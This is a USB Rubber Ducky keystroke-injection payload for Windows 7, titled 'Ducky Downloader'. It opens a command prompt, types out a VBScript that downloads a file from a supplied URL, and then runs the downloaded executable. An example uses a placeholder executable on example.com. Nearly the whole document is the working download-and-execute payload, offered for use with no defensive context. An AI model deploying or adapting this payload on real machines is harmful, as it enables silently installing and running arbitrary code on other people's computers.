Ducky Downloader

Author: Haysoos
Duckencoder: 1.2
Target: Windows 7
Description: Opens the command prompt (not as administrator) creates a VBscript to download a file from any URL. Downloads a file and executes it. Useful for downloading small .exe files from a web server and executing them.
 ESCAPE
 CONTROL ESCAPE
 DELAY 400
 STRING cmd
 DELAY 400
 ENTER
 DELAY 400
 STRING copy con download.vbs
 ENTER
 STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
 ENTER
 STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
 ENTER
 STRING If objXMLHTTP.Status = 200 Then
 ENTER
 STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
 ENTER
 STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
 ENTER
 STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
 ENTER
 STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing 
 ENTER
 STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
 ENTER
 CTRL z
 ENTER
 STRING cscript download.vbs <INSERT URL HERE>
 ENTER
 STRING <INSERT EXE FILENAME HERE>
 ENTER
 STRING exit
 ENTER
 
Example:

 ...
 ENTER
 STRING cscript download.vbs http://example.com/fun_windows_executable.exe
 ENTER
 STRING fun_windows_executable.exe
 ENTER
 STRING exit
 ENTER